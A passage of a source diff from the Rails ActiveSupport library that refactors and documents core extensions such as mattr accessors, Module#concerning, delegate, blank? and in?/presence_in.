+ load_without_autoloading(source)
+ rescue ArgumentError, NameError => exc
+ if exc.message.match(%r|undefined class/module (.+)|)
+ # try loading the class/module
+ $1.constantize
+ # if it is a IO we need to go back to read the object
+ source.rewind if source.respond_to?(:rewind)
+ retry
+ else
+ raise exc
end
end
alias_method_chain :load, :autoloading
end
-end \ No newline at end of file
+end
diff --git a/activesupport/lib/active_support/core_ext/module.rb b/activesupport/lib/active_support/core_ext/module.rb
index f2d4887df6..b4efff8b24 100644
--- a/activesupport/lib/active_support/core_ext/module.rb
+++ b/activesupport/lib/active_support/core_ext/module.rb
@@ -4,6 +4,7 @@ require 'active_support/core_ext/module/anonymous'
require 'active_support/core_ext/module/reachable'
require 'active_support/core_ext/module/attribute_accessors'
require 'active_support/core_ext/module/attr_internal'
+require 'active_support/core_ext/module/concerning'
require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/module/deprecation'
require 'active_support/core_ext/module/remove_method'
diff --git a/activesupport/lib/active_support/core_ext/module/aliasing.rb b/activesupport/lib/active_support/core_ext/module/aliasing.rb
index 580cb80413..0a6fadf928 100644
--- a/activesupport/lib/active_support/core_ext/module/aliasing.rb
+++ b/activesupport/lib/active_support/core_ext/module/aliasing.rb
@@ -19,9 +19,9 @@ class Module
# alias_method :foo_without_feature?, :foo?
# alias_method :foo?, :foo_with_feature?
#
- # so you can safely chain foo, foo?, and foo! with the same feature.
+ # so you can safely chain foo, foo?, foo! and/or foo= with the same feature.
def alias_method_chain(target, feature)
- # Strip out punctuation on predicates or bang methods since
+ # Strip out punctuation on predicates, bang or writer methods since
# e.g. target?_without_feature is not a valid method name.
aliased_target, punctuation = target.to_s.sub(/([?!=])$/, ''), $1
yield(aliased_target, punctuation) if block_given?
diff --git a/activesupport/lib/active_support/core_ext/module/attr_internal.rb b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
index db07d549b0..67f0e0335d 100644
--- a/activesupport/lib/active_support/core_ext/module/attr_internal.rb
+++ b/activesupport/lib/active_support/core_ext/module/attr_internal.rb
@@ -27,7 +27,8 @@ class Module
def attr_internal_define(attr_name, type)
internal_name = attr_internal_ivar_name(attr_name).sub(/\A@/, '')
- class_eval do # class_eval is necessary on 1.9 or else the methods a made private
+ # class_eval is necessary on 1.9 or else the methods are made private
+ class_eval do
# use native attr_* methods as they are faster on some Ruby implementations
send("attr_#{type}", internal_name)
end
diff --git a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
index 672cc0256f..d317df5079 100644
--- a/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/module/attribute_accessors.rb
@@ -1,10 +1,59 @@
require 'active_support/core_ext/array/extract_options'
+# Extends the module object with class/module and instance accessors for
+# class/module attributes, just like the native attr* accessors for instance
+# attributes.
class Module
+ # Defines a class attribute and creates a class and instance reader methods.
+ # The underlying the class variable is set to +nil+, if it is not previously
+ # defined.
+ #
+ # module HairColors
+ # mattr_reader :hair_colors
+ # end
+ #
+ # HairColors.hair_colors # => nil
+ # HairColors.class_variable_set("@@hair_colors", [:brown, :black])
+ # HairColors.hair_colors # => [:brown, :black]
+ #
+ # The attribute name must be a valid method name in Ruby.
+ #
+ # module Foo
+ # mattr_reader :"1_Badname "
+ # end
+ # # => NameError: invalid attribute name
+ #
+ # If you want to opt out the creation on the instance reader method, pass
+ # <tt>instance_reader: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors # => NoMethodError
+ #
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # cattr_reader :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
def mattr_reader(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
@@#{sym} = nil unless defined? @@#{sym}
@@ -20,14 +69,60 @@ class Module
end
EOS
end
+ class_variable_set("@@#{sym}", yield) if block_given?
end
end
+ alias :cattr_reader :mattr_reader
+ # Defines a class attribute and creates a class and instance writer methods to
+ # allow assignment to the attribute.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # HairColors.hair_colors = [:brown, :black]
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black]
+ # Person.new.hair_colors = [:blonde, :red]
+ # HairColors.class_variable_get("@@hair_colors") # => [:blonde, :red]
+ #
+ # If you want to opt out the instance writer method, pass
+ # <tt>instance_writer: false</tt> or <tt>instance_accessor: false</tt>.
+ #
+ # module HairColors
+ # mattr_writer :hair_colors, instance_writer: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:blonde, :red] # => NoMethodError
+ #
+ # Also, you can pass a block to set up the attribute with a default value.
+ #
+ # class HairColors
+ # mattr_writer :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") # => [:brown, :black, :blonde, :red]
def mattr_writer(*syms)
options = syms.extract_options!
syms.each do |sym|
- raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\w*$/
+ raise NameError.new("invalid attribute name: #{sym}") unless sym =~ /^[_A-Za-z]\w*$/
class_eval(<<-EOS, __FILE__, __LINE__ + 1)
+ @@#{sym} = nil unless defined? @@#{sym}
+
def self.#{sym}=(obj)
@@#{sym} = obj
end
@@ -40,27 +135,78 @@ class Module
end
EOS
end
+ send("#{sym}=", yield) if block_given?
end
end
+ alias :cattr_writer :mattr_writer
- # Extends the module object with module and instance accessors for class attributes,
- # just like the native attr* accessors for instance attributes.
+ # Defines both class and instance accessors for class attributes.
#
- # module AppConfiguration
- # mattr_accessor :google_api_key
+ # module HairColors
+ # mattr_accessor :hair_colors
+ # end
#
- # self.google_api_key = "123456789"
+ # class Person
+ # include HairColors
# end
#
- # AppConfiguration.google_api_key # => "123456789"
- # AppConfiguration.google_api_key = "overriding the api key!"
- # AppConfiguration.google_api_key # => "overriding the api key!"
+ # Person.hair_colors = [:brown, :black, :blonde, :red]
+ # Person.hair_colors # => [:brown, :black, :blonde, :red]
+ # Person.new.hair_colors # => [:brown, :black, :blonde, :red]
+ #
+ # If a subclass changes the value then that would also change the value for
+ # parent class. Similarly if parent class changes the value then that would
+ # change the value of subclasses too.
+ #
+ # class Male < Person
+ # end
+ #
+ # Male.hair_colors << :blue
+ # Person.hair_colors # => [:brown, :black, :blonde, :red, :blue]
#
# To opt out of the instance writer method, pass <tt>instance_writer: false</tt>.
# To opt out of the instance reader method, pass <tt>instance_reader: false</tt>.
- # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
- def mattr_accessor(*syms)
- mattr_reader(*syms)
- mattr_writer(*syms)
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_writer: false, instance_reader: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Or pass <tt>instance_accessor: false</tt>, to opt out both instance methods.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors, instance_accessor: false
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.new.hair_colors = [:brown] # => NoMethodError
+ # Person.new.hair_colors # => NoMethodError
+ #
+ # Also you can pass a block to set up the attribute with a default value.
+ #
+ # module HairColors
+ # mattr_accessor :hair_colors do
+ # [:brown, :black, :blonde, :red]
+ # end
+ # end
+ #
+ # class Person
+ # include HairColors
+ # end
+ #
+ # Person.class_variable_get("@@hair_colors") #=> [:brown, :black, :blonde, :red]
+ def mattr_accessor(*syms, &blk)
+ mattr_reader(*syms, &blk)
+ mattr_writer(*syms, &blk)
end
+ alias :cattr_accessor :mattr_accessor
end
diff --git a/activesupport/lib/active_support/core_ext/module/concerning.rb b/activesupport/lib/active_support/core_ext/module/concerning.rb
new file mode 100644
index 0000000000..07a392404e
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/concerning.rb
@@ -0,0 +1,135 @@
+require 'active_support/concern'
+
+class Module
+ # = Bite-sized separation of concerns
+ #
+ # We often find ourselves with a medium-sized chunk of behavior that we'd
+ # like to extract, but only mix in to a single class.
+ #
+ # Extracting a plain old Ruby object to encapsulate it and collaborate or
+ # delegate to the original object is often a good choice, but when there's
+ # no additional state to encapsulate or we're making DSL-style declarations
+ # about the parent class, introducing new collaborators can obfuscate rather
+ # than simplify.
+ #
+ # The typical route is to just dump everything in a monolithic class, perhaps
+ # with a comment, as a least-bad alternative. Using modules in separate files
+ # means tedious sifting to get a big-picture view.
+ #
+ # = Dissatisfying ways to separate small concerns
+ #
+ # == Using comments:
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # ## Event tracking
+ # has_many :events
+ #
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ #
+ # == With an inline module:
+ #
+ # Noisy syntax.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # include EventTracking
+ # end
+ #
+ # == Mix-in noise exiled to its own file:
+ #
+ # Once our chunk of behavior starts pushing the scroll-to-understand it's
+ # boundary, we give in and move it to a separate file. At this size, the
+ # overhead feels in good proportion to the size of our extraction, despite
+ # diluting our at-a-glance sense of how things really work.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # include TodoEventTracking
+ # end
+ #
+ # = Introducing Module#concerning
+ #
+ # By quieting the mix-in noise, we arrive at a natural, low-ceremony way to
+ # separate bite-sized concerns.
+ #
+ # class Todo
+ # # Other todo implementation
+ # # ...
+ #
+ # concerning :EventTracking do
+ # included do
+ # has_many :events
+ # before_create :track_creation
+ # after_destroy :track_deletion
+ # end
+ #
+ # private
+ # def track_creation
+ # # ...
+ # end
+ # end
+ # end
+ #
+ # Todo.ancestors
+ # # => Todo, Todo::EventTracking, Object
+ #
+ # This small step has some wonderful ripple effects. We can
+ # * grok the behavior of our class in one glance,
+ # * clean up monolithic junk-drawer classes by separating their concerns, and
+ # * stop leaning on protected/private for crude "this is internal stuff" modularity.
+ module Concerning
+ # Define a new concern and mix it in.
+ def concerning(topic, &block)
+ include concern(topic, &block)
+ end
+
+ # A low-cruft shortcut to define a concern.
+ #
+ # concern :EventTracking do
+ # ...
+ # end
+ #
+ # is equivalent to
+ #
+ # module EventTracking
+ # extend ActiveSupport::Concern
+ #
+ # ...
+ # end
+ def concern(topic, &module_definition)
+ const_set topic, Module.new {
+ extend ::ActiveSupport::Concern
+ module_eval(&module_definition)
+ }
+ end
+ end
+ include Concerning
+end
diff --git a/activesupport/lib/active_support/core_ext/module/delegation.rb b/activesupport/lib/active_support/core_ext/module/delegation.rb
index e608eeaf42..570585b89a 100644
--- a/activesupport/lib/active_support/core_ext/module/delegation.rb
+++ b/activesupport/lib/active_support/core_ext/module/delegation.rb
@@ -1,8 +1,27 @@
+require 'set'
+
class Module
- # Provides a delegate class method to easily expose contained objects' public methods
- # as your own. Pass one or more methods (specified as symbols or strings)
- # and the name of the target object via the <tt>:to</tt> option (also a symbol
- # or string). At least one method and the <tt>:to</tt> option are required.
+ # Error generated by +delegate+ when a method is called on +nil+ and +allow_nil+
+ # option is not used.
+ class DelegationError < NoMethodError; end
+
+ RUBY_RESERVED_WORDS = Set.new(
+ %w(alias and BEGIN begin break case class def defined? do else elsif END
+ end ensure false for if in module next nil not or redo rescue retry
+ return self super then true undef unless until when while yield)
+ ).freeze
+
+ # Provides a +delegate+ class method to easily expose contained objects'
+ # public methods as your own.
+ #
+ # ==== Options
+ # * <tt>:to</tt> - Specifies the target object
+ # * <tt>:prefix</tt> - Prefixes the new method with the target name or a custom prefix
+ # * <tt>:allow_nil</tt> - if set to true, prevents a +NoMethodError+ to be raised
+ #
+ # The macro receives one or more method names (specified as symbols or
+ # strings) and the name of the target object via the <tt>:to</tt> option
+ # (also a symbol or string).
#
# Delegation is particularly useful with Active Record associations:
#
@@ -89,29 +108,46 @@ class Module
# invoice.customer_name # => 'John Doe'
# invoice.customer_address # => 'Vimmersvej 13'
#
- # If the delegate object is +nil+ an exception is raised, and that happens
- # no matter whether +nil+ responds to the delegated method. You can get a
- # +nil+ instead with the +:allow_nil+ option.
+ # If the target is +nil+ and does not respond to the delegated method a
+ # +NoMethodError+ is raised, as with any other value. Sometimes, however, it
+ # makes sense to be robust to that situation and that is the purpose of the
+ # <tt>:allow_nil</tt> option: If the target is not +nil+, or it is and
+ # responds to the method, everything works as usual. But if it is +nil+ and
+ # does not respond to the delegated method, +nil+ is returned.
#
- # class Foo
- # attr_accessor :bar
- # def initialize(bar = nil)
- # @bar = bar
- # end
- # delegate :zoo, to: :bar
+ # class User < ActiveRecord::Base
+ # has_one :profile
+ # delegate :age, to: :profile
+ # end
+ #
+ # User.new.age # raises NoMethodError: undefined method `age'
+ #
+ # But if not having a profile yet is fine and should not be an error
+ # condition:
+ #
+ # class User < ActiveRecord::Base
+ # has_one :profile
+ # delegate :age, to: :profile, allow_nil: true
# end
#
- # Foo.new.zoo # raises NoMethodError exception (you called nil.zoo)
+ # User.new.age # nil
+ #
+ # Note that if the target is not +nil+ then the call is attempted regardless of the
+ # <tt>:allow_nil</tt> option, and thus an exception is still raised if said object
+ # does not respond to the method:
#
# class Foo
- # attr_accessor :bar
- # def initialize(bar = nil)
+ # def initialize(bar)
# @bar = bar
# end
- # delegate :zoo, to: :bar, allow_nil: true
+ #
+ # delegate :name, to: :@bar, allow_nil: true
# end
#
- # Foo.new.zoo # returns nil
+ # Foo.new("Bar").name # raises NoMethodError: undefined method `name'
+ #
+ # The target method must be public, otherwise it will raise +NoMethodError+.
+ #
def delegate(*methods)
options = methods.pop
unless options.is_a?(Hash) && to = options[:to]
@@ -135,36 +171,35 @@ class Module
line = line.to_i
to = to.to_s
- to = 'self.class' if to == 'class'
+ to = "self.#{to}" if RUBY_RESERVED_WORDS.include?(to)
methods.each do |method|
# Attribute writer methods only accept one argument. Makes sure []=
# methods still accept two arguments.
definition = (method =~ /[^\]]=$/) ? 'arg' : '*args, &block'
- if allow_nil
- module_eval(<<-EOS, file, line - 2)
- def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
- if #{to} || #{to}.respond_to?(:#{method}) # if client || client.respond_to?(:name)
- #{to}.#{method}(#{definition}) # client.name(*args, &block)
- end # end
- end # end
- EOS
- else
- exception = %(raise "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
+ # The following generated method calls the target exactly once, storing
+ # the returned value in a dummy variable.
+ #
+ # Reason is twofold: On one hand doing less calls is in general better.
+ # On the other hand it could be that the target has side-effects,
+ # whereas conceptually, from the user point of view, the delegator should
+ # be doing one call.
- module_eval(<<-EOS, file, line - 1)
- def #{method_prefix}#{method}(#{definition}) # def customer_name(*args, &block)
- #{to}.#{method}(#{definition}) # client.name(*args, &block)
- rescue NoMethodError # rescue NoMethodError
- if #{to}.nil? # if client.nil?
- #{exception} # # add helpful message to the exception
- else # else
- raise # raise
- end # end
- end # end
- EOS
- end
+ exception = %(raise DelegationError, "#{self}##{method_prefix}#{method} delegated to #{to}.#{method}, but #{to} is nil: \#{self.inspect}")
+
+ method_def = [
+ "def #{method_prefix}#{method}(#{definition})",
+ " _ = #{to}",
+ " if !_.nil? || nil.respond_to?(:#{method})",
+ " _.#{method}(#{definition})",
+ " else",
+ " #{exception unless allow_nil}",
+ " end",
+ "end"
+ ].join ';'
+
+ module_eval(method_def, file, line)
end
end
end
diff --git a/activesupport/lib/active_support/core_ext/module/deprecation.rb b/activesupport/lib/active_support/core_ext/module/deprecation.rb
index cc45cee5b8..56d670fbe8 100644
--- a/activesupport/lib/active_support/core_ext/module/deprecation.rb
+++ b/activesupport/lib/active_support/core_ext/module/deprecation.rb
@@ -1,5 +1,3 @@
-require 'active_support/deprecation/method_wrappers'
-
class Module
# deprecate :foo
# deprecate bar: 'message'
@@ -14,8 +12,8 @@ class Module
# method where you can implement your custom warning behavior.
#
# class MyLib::Deprecator
- # def deprecation_warning(deprecated_method_name, message, caller_backtrace)
- # message = "#{method_name} is deprecated and will be removed from MyLibrary | #{message}"
+ # def deprecation_warning(deprecated_method_name, message, caller_backtrace = nil)
+ # message = "#{deprecated_method_name} is deprecated and will be removed from MyLibrary | #{message}"
# Kernel.warn message
# end
# end
diff --git a/activesupport/lib/active_support/core_ext/module/introspection.rb b/activesupport/lib/active_support/core_ext/module/introspection.rb
index 08e5f8a5c3..f1d26ef28f 100644
--- a/activesupport/lib/active_support/core_ext/module/introspection.rb
+++ b/activesupport/lib/active_support/core_ext/module/introspection.rb
@@ -59,20 +59,4 @@ class Module
def local_constants #:nodoc:
constants(false)
end
-
- # *DEPRECATED*: Use +local_constants+ instead.
- #
- # Returns the names of the constants defined locally as strings.
- #
- # module M
- # X = 1
- # end
- # M.local_constant_names # => ["X"]
- #
- # This method is useful for forward compatibility, since Ruby 1.8 returns
- # constant names as strings, whereas 1.9 returns them as symbols.
- def local_constant_names
- ActiveSupport::Deprecation.warn 'Module#local_constant_names is deprecated, use Module#local_constants instead'
- local_constants.map { |c| c.to_s }
- end
end
diff --git a/activesupport/lib/active_support/core_ext/module/method_transplanting.rb b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
new file mode 100644
index 0000000000..b1097cc83b
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/module/method_transplanting.rb
@@ -0,0 +1,11 @@
+class Module
+ ###
+ # TODO: remove this after 1.9 support is dropped
+ def methods_transplantable? # :nodoc:
+ x = Module.new { def foo; end }
+ Module.new { define_method :bar, x.instance_method(:foo) }
+ true
+ rescue TypeError
+ false
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/numeric/conversions.rb b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
index 6d3635c69a..0c8ff79237 100644
--- a/activesupport/lib/active_support/core_ext/numeric/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/conversions.rb
@@ -118,18 +118,28 @@ class Numeric
end
end
- [Float, Fixnum, Bignum, BigDecimal].each do |klass|
- klass.send(:alias_method, :to_default_s, :to_s)
-
- klass.send(:define_method, :to_s) do |*args|
- if args[0].is_a?(Symbol)
- format = args[0]
- options = args[1] || {}
+ [Fixnum, Bignum].each do |klass|
+ klass.class_eval do
+ alias_method :to_default_s, :to_s
+ def to_s(base_or_format = 10, options = nil)
+ if base_or_format.is_a?(Symbol)
+ to_formatted_s(base_or_format, options || {})
+ else
+ to_default_s(base_or_format)
+ end
+ end
+ end
+ end
- self.to_formatted_s(format, options)
+ Float.class_eval do
+ alias_method :to_default_s, :to_s
+ def to_s(*args)
+ if args.empty?
+ to_default_s
else
- to_default_s(*args)
+ to_formatted_s(*args)
end
end
end
+
end
diff --git a/activesupport/lib/active_support/core_ext/numeric/time.rb b/activesupport/lib/active_support/core_ext/numeric/time.rb
index 87b9a23aef..689fae4830 100644
--- a/activesupport/lib/active_support/core_ext/numeric/time.rb
+++ b/activesupport/lib/active_support/core_ext/numeric/time.rb
@@ -61,19 +61,9 @@ class Numeric
end
alias :fortnight :fortnights
- # Reads best without arguments: 10.minutes.ago
- def ago(time = ::Time.current)
- time - self
+ # Used with the standard time durations, like 1.hour.in_milliseconds --
+ # so we can feed them to JavaScript functions like getTime().
+ def in_milliseconds
+ self * 1000
end
-
- # Reads best with argument: 10.minutes.until(time)
- alias :until :ago
-
- # Reads best with argument: 10.minutes.since(time)
- def since(time = ::Time.current)
- time + self
- end
-
- # Reads best without arguments: 10.minutes.from_now
- alias :from_now :since
end
diff --git a/activesupport/lib/active_support/core_ext/object.rb b/activesupport/lib/active_support/core_ext/object.rb
index ec2157221f..f1106cca9b 100644
--- a/activesupport/lib/active_support/core_ext/object.rb
+++ b/activesupport/lib/active_support/core_ext/object.rb
@@ -2,13 +2,14 @@ require 'active_support/core_ext/object/acts_like'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/duplicable'
require 'active_support/core_ext/object/deep_dup'
+require 'active_support/core_ext/object/itself'
require 'active_support/core_ext/object/try'
require 'active_support/core_ext/object/inclusion'
require 'active_support/core_ext/object/conversions'
require 'active_support/core_ext/object/instance_variables'
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
require 'active_support/core_ext/object/to_param'
require 'active_support/core_ext/object/to_query'
require 'active_support/core_ext/object/with_options'
diff --git a/activesupport/lib/active_support/core_ext/object/acts_like.rb b/activesupport/lib/active_support/core_ext/object/acts_like.rb
index fcc8e50f06..3912cc5ace 100644
--- a/activesupport/lib/active_support/core_ext/object/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/object/acts_like.rb
@@ -1,9 +1,9 @@
class Object
# A duck-type assistant method. For example, Active Support extends Date
- # to define an acts_like_date? method, and extends Time to define
- # acts_like_time?. As a result, we can do "x.acts_like?(:time)" and
- # "x.acts_like?(:date)" to do duck-type-safe comparisons, since classes that
- # we want to act like Time simply need to define an acts_like_time? method.
+ # to define an <tt>acts_like_date?</tt> method, and extends Time to define
+ # <tt>acts_like_time?</tt>. As a result, we can do <tt>x.acts_like?(:time)</tt> and
+ # <tt>x.acts_like?(:date)</tt> to do duck-type-safe comparisons, since classes that
+ # we want to act like Time simply need to define an <tt>acts_like_time?</tt> method.
def acts_like?(duck)
respond_to? :"acts_like_#{duck}?"
end
diff --git a/activesupport/lib/active_support/core_ext/object/blank.rb b/activesupport/lib/active_support/core_ext/object/blank.rb
index 8a5eb4bc93..38e43478df 100644
--- a/activesupport/lib/active_support/core_ext/object/blank.rb
+++ b/activesupport/lib/active_support/core_ext/object/blank.rb
@@ -4,36 +4,42 @@ class Object
# An object is blank if it's false, empty, or a whitespace string.
# For example, '', ' ', +nil+, [], and {} are all blank.
#
- # This simplifies:
+ # This simplifies
#
- # if address.nil? || address.empty?
+ # address.nil? || address.empty?
#
- # ...to:
+ # to
#
- # if address.blank?
+ # address.blank?
+ #
+ # @return [true, false]
def blank?
- respond_to?(:empty?) ? empty? : !self
+ respond_to?(:empty?) ? !!empty? : !self
end
- # An object is present if it's not <tt>blank?</tt>.
+ # An object is present if it's not blank.
+ #
+ # @return [true, false]
def present?
!blank?
end
- # Returns object if it's <tt>present?</tt> otherwise returns +nil+.
- # <tt>object.presence</tt> is equivalent to <tt>object.present? ? object : nil</tt>.
+ # Returns the receiver if it's present otherwise returns +nil+.
+ # <tt>object.presence</tt> is equivalent to
#
- # This is handy for any representation of objects where blank is the same
- # as not present at all. For example, this simplifies a common check for
- # HTTP POST/query parameters:
+ # object.present? ? object : nil
+ #
+ # For example, something like
#
# state = params[:state] if params[:state].present?
# country = params[:country] if params[:country].present?
# region = state || country || 'US'
#
- # ...becomes:
+ # becomes
#
# region = params[:state].presence || params[:country].presence || 'US'
+ #
+ # @return [Object]
def presence
self if present?
end
@@ -43,6 +49,8 @@ class NilClass
# +nil+ is blank:
#
# nil.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -52,6 +60,8 @@ class FalseClass
# +false+ is blank:
#
# false.blank? # => true
+ #
+ # @return [true]
def blank?
true
end
@@ -61,6 +71,8 @@ class TrueClass
# +true+ is not blank:
#
# true.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
@@ -71,6 +83,8 @@ class Array
#
# [].blank? # => true
# [1,2,3].blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
@@ -79,18 +93,28 @@ class Hash
#
# {}.blank? # => true
# { key: 'value' }.blank? # => false
+ #
+ # @return [true, false]
alias_method :blank?, :empty?
end
class String
+ BLANK_RE = /\A[[:space:]]*\z/
+
# A string is blank if it's empty or contains whitespaces only:
#
- # ''.blank? # => true
- # ' '.blank? # => true
- # ' '.blank? # => true
- # ' something here '.blank? # => false
+ # ''.blank? # => true
+ # ' '.blank? # => true
+ # "\t\n\r".blank? # => true
+ # ' blah '.blank? # => false
+ #
+ # Unicode whitespace is supported:
+ #
+ # "\u00a0".blank? # => true
+ #
+ # @return [true, false]
def blank?
- self !~ /[^[:space:]]/
+ BLANK_RE === self
end
end
@@ -99,6 +123,8 @@ class Numeric #:nodoc:
#
# 1.blank? # => false
# 0.blank? # => false
+ #
+ # @return [false]
def blank?
false
end
diff --git a/activesupport/lib/active_support/core_ext/object/deep_dup.rb b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
index 1d639f3af6..0191d2e973 100644
--- a/activesupport/lib/active_support/core_ext/object/deep_dup.rb
+++ b/activesupport/lib/active_support/core_ext/object/deep_dup.rb
@@ -8,8 +8,8 @@ class Object
# dup = object.deep_dup
# dup.instance_variable_set(:@a, 1)
#
- # object.instance_variable_defined?(:@a) #=> false
- # dup.instance_variable_defined?(:@a) #=> true
+ # object.instance_variable_defined?(:@a) # => false
+ # dup.instance_variable_defined?(:@a) # => true
def deep_dup
duplicable? ? dup : self
end
@@ -22,10 +22,10 @@ class Array
# dup = array.deep_dup
# dup[1][2] = 4
#
- # array[1][2] #=> nil
- # dup[1][2] #=> 4
+ # array[1][2] # => nil
+ # dup[1][2] # => 4
def deep_dup
- map { |it| it.deep_dup }
+ map(&:deep_dup)
end
end
@@ -36,8 +36,8 @@ class Hash
# dup = hash.deep_dup
# dup[:a][:c] = 'c'
#
- # hash[:a][:c] #=> nil
- # dup[:a][:c] #=> "c"
+ # hash[:a][:c] # => nil
+ # dup[:a][:c] # => "c"
def deep_dup
each_with_object(dup) do |(key, value), hash|
hash[key.deep_dup] = value.deep_dup
diff --git a/activesupport/lib/active_support/core_ext/object/duplicable.rb b/activesupport/lib/active_support/core_ext/object/duplicable.rb
index 9cd7485e2e..665cb0f96d 100644
--- a/activesupport/lib/active_support/core_ext/object/duplicable.rb
+++ b/activesupport/lib/active_support/core_ext/object/duplicable.rb
@@ -19,7 +19,7 @@
class Object
# Can you safely dup this object?
#
- # False for +nil+, +false+, +true+, symbol, and number objects;
+ # False for +nil+, +false+, +true+, symbol, number and BigDecimal(in 1.9.x) objects;
# true otherwise.
def duplicable?
true
@@ -78,6 +78,9 @@ end
require 'bigdecimal'
class BigDecimal
+ # Needed to support Ruby 1.9.x, as it doesn't allow dup on BigDecimal, instead
+ # raises TypeError exception. Checking here on the runtime whether BigDecimal
+ # will allow dup or not.
begin
BigDecimal.new('4.56').dup
@@ -88,3 +91,13 @@ class BigDecimal
# can't dup, so use superclass implementation
end
end
+
+class Method
+ # Methods are not duplicable:
+ #
+ # method(:puts).duplicable? # => false
+ # method(:puts).dup # => TypeError: allocator undefined for Method
+ def duplicable?
+ false
+ end
+end
diff --git a/activesupport/lib/active_support/core_ext/object/inclusion.rb b/activesupport/lib/active_support/core_ext/object/inclusion.rb
index 3fec465ec0..55f281b213 100644
--- a/activesupport/lib/active_support/core_ext/object/inclusion.rb
+++ b/activesupport/lib/active_support/core_ext/object/inclusion.rb
@@ -1,25 +1,27 @@
class Object
- # Returns true if this object is included in the argument(s). Argument must be
- # any object which responds to +#include?+ or optionally, multiple arguments can be passed in. Usage:
+ # Returns true if this object is included in the argument. Argument must be
+ # any object which responds to +#include?+. Usage:
#
- # characters = ['Konata', 'Kagami', 'Tsukasa']
- # 'Konata'.in?(characters) # => true
+ # characters = ["Konata", "Kagami", "Tsukasa"]
+ # "Konata".in?(characters) # => true
#
- # character = 'Konata'
- # character.in?('Konata', 'Kagami', 'Tsukasa') # => true
- #
- # This will throw an ArgumentError if a single argument is passed in and it doesn't respond
+ # This will throw an ArgumentError if the argument doesn't respond
# to +#include?+.
- def in?(*args)
- if args.length > 1
- args.include? self
- else
- another_object = args.first
- if another_object.respond_to? :include?
- another_object.include? self
- else
- raise ArgumentError.new 'The single parameter passed to #in? must respond to #include?'
- end
- end
+ def in?(another_object)
+ another_object.include?(self)
+ rescue NoMethodError
+ raise ArgumentError.new("The parameter passed to #in? must respond to #include?")
+ end
+
+ # Returns the receiver if it's included in the argument otherwise returns +nil+.
+ # Argument must be any object which responds to +#include?+. Usage:
+ #
+ # params[:bucket_type].presence_in %w( project calendar )
+ #
+ # This will throw an ArgumentError if the argument doesn't respond to +#include?+.
+ #
+ # @return [Object]
+ def presence_in(another_object)
+ self.in?(another_object) ? self : nil
end
end
diff --git a/activesupport/lib/active_support/core_ext/object/instance_variables.rb b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
index 40821fd619..593a7a4940 100644
--- a/activesupport/lib/active_support/core_ext/object/instance_variables.rb
+++ b/activesupport/lib/active_support/core_ext/object/instance_variables.rb
@@ -13,7 +13,7 @@ class Object
Hash[instance_variables.map { |name| [name[1..-1], instance_variable_get(name)] }]
end
- # Returns an array of instance variable names including "@".
+ # Returns an array of instance variable names as strings including "@".
#
# class C
# def initialize(x, y)
@@ -23,6 +23,6 @@ class Object
#
# C.new(0, 1).instance_variable_names # => ["@y", "@x"]
def instance_variable_names
- instance_variables.map { |var| var.to_s }
+ instance_variables.map(&:to_s)
end
end
